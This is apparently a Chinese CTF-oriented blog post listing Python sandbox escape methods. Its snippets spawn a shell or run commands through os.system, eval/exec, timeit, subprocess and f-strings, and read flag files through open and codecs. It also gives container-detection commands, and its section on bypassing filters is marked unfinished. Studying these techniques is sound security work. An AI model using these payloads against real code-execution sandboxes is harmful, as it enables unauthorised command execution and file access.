Python 沙箱逃逸方式及绕过方法整理

Python 沙箱逃逸方式及绕过方法整理

耀鳞光翼 Lv3

概述及原理

沙箱是一种安全机制,用于在受限制的环境中运行未信任的程序或代码。它的主要目的是防止这些程序或代码影响宿主系统或者访问非授权的数据。

在Python中,沙箱的实现可以用多种方式,例如使用python内置功能(如re模块),使用特殊的python解释器(如PyPy),或使用第三方库(如RestrictedPython)。

但Python的标准库和语言特性提供了许多可以用于逃逸沙箱的方法,因此在实践中创建一个完全安全的Python沙箱是十分困难的。

简单来说,python沙盒逃逸其实就是如何通过绕过限制,拿到出题人或者安全运维人员不想让我们拿到的”危险函数”,或者绕过Python终端达到命令执行的效果。(有点类似于SQL注入,执行本不该被执行的命令)

[!NOTE]

查看目标主机是否是docker相关命令:

cat /proc/self/cgroup

mount -v

任意命令执行

函数和模块:

  1. import函数:

    1
    __import__('os').system('dir')
  2. OS模块:

    1
    2
    3
    4
    5
    import os

    os.system("/bin/sh")

    os.popen("/bin/sh")

    利用方式:

    1
    2
    3
    4
    >>> import os
    >>> os.system("/bin/sh")
    $ cat /flag
    flag{xxxxxxxxxxx}
  3. exec & eval函数:

    两个执行函数:

    1
    2
    3
    eval('__import__("os").system("dir")')

    exec('__import__("os").system("dir")')

    利用方式:

    1
    2
    3
    >>> eval('__import__("os").system("/bin/sh")')
    $ cat /flag
    flag{xxxxxxxxxxx}
  4. execfile函数:

    这个函数主要用来执行特定文件,引入模块来执行命令(注意:该函数在python3中已经被删除)

    1
    2
    import timeit
    timeit.timeit('__import__("os").system("dir")',number=1)

    利用方式:

    1
    2
    3
    4
    >>> import timeit
    >>> timeit.timeit('__import__("os").system("sh")',number=1)
    $ cat /flag
    flag{xxxxxxxxxxx}
  5. platform模块:

    platform模块提供了很多方法去获取操作系统的信息,popen函数就可以执行命令

    1
    2
    import platform 
    print platform.popen('dir').read()

    利用方式:

    1
    2
    3
    >>> import platform 
    >>> print platform.popen('dir').read()
    jail.py
  6. commands模块:

    可以执行命令,但不一定能拿到shell。(注意:该函数在python3中已经被删除)

    1
    2
    3
    import commands
    print commands.getoutput("dir")
    print commands.getstatusoutput("dir")

    利用方式:

    1
    2
    3
    4
    5
    6
    >>> import commands
    >>> print commands.getoutput("dir")
    flag jail.py
    >>> print commands.getstatusoutput("dir")
    (0, 'flag jail.py')

  7. subprocess模块:

    shell=True命令本身被bash启动,支持shell启动,否则不支持

    1
    2
    import subprocess
    subprocess.call(['ls'],shell=True)

    利用方式:

    1
    2
    3
    >>> import subprocess
    >>> subprocess.call(['ls'],shell=True)
    flag jail.py
  8. compile函数:

    compile() 函数将一个字符串编译为字节代码。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    compile(source, filename, mode[, flags[, dont_inherit]])

    source -- 字符串或者AST(Abstract Syntax Trees)对象。

    filename -- 代码文件名称,如果不是从文件读取代码则传递一些可辨认的值。

    mode -- 指定编译代码的种类。可以指定为 exec, eval, single。

    flags -- 变量作用域,局部命名空间,如果被提供,可以是任何映射对象。

    flags和dont_inherit是用来控制编译源码时的标志

    使用样例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    command_str = '__import__("os").system("cmd /c calc.exe")'
    c_str = compile(command_str,"","exec")
    print(c_str)
    exec(c_str)



    <code object <module> at 0x000001CC620A1D20, file "", line 1>
    弹出计算器
  9. f修饰符

    python3.6新特性,用f/F修饰的字符串可以执行代码

    1
    f'{__import__("os").system("ls")}'
  10. sys模块

    sys模块可用于在python内部查看python的版本号,方便了解不同版本的特性,使用不同的逃逸方法

    1
    2
    3
    4
    >>> import sys
    >>> print sys.version
    2.7.12 (default, Nov 12 2018, 14:36:49)
    [GCC 5.4.0 20160609]

文件操作

  1. file函数(注意:该函数在新版python中已不再支持)

    1
    file('flag.txt').read()
  2. open函数:

    1
    open('flag.txt').read()
  3. codecs模块

    1
    2
    import codecs
    codecs.open('flag.txt').read()
  4. Filetype 函数 from types 模块(注意:该函数在python3中已不再支持)

    该模块可以用于读取文件

    1
    2
    import types
    print types.FileType("flag").read()

    利用方式:

    1
    2
    3
    >>> import types
    >>> print types.FileType("flag").read()
    flag_here

上述方法相关绕过检查方式

待完善中。。。。。。

  • 标题: Python 沙箱逃逸方式及绕过方法整理
  • 作者: 耀鳞光翼
  • 创建于 : 2025-01-12 22:48:00
  • 更新于 : 2025-01-12 22:48:08
  • 链接: https://blog.lightwing.top/2025/01/12/python_jail_escape/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论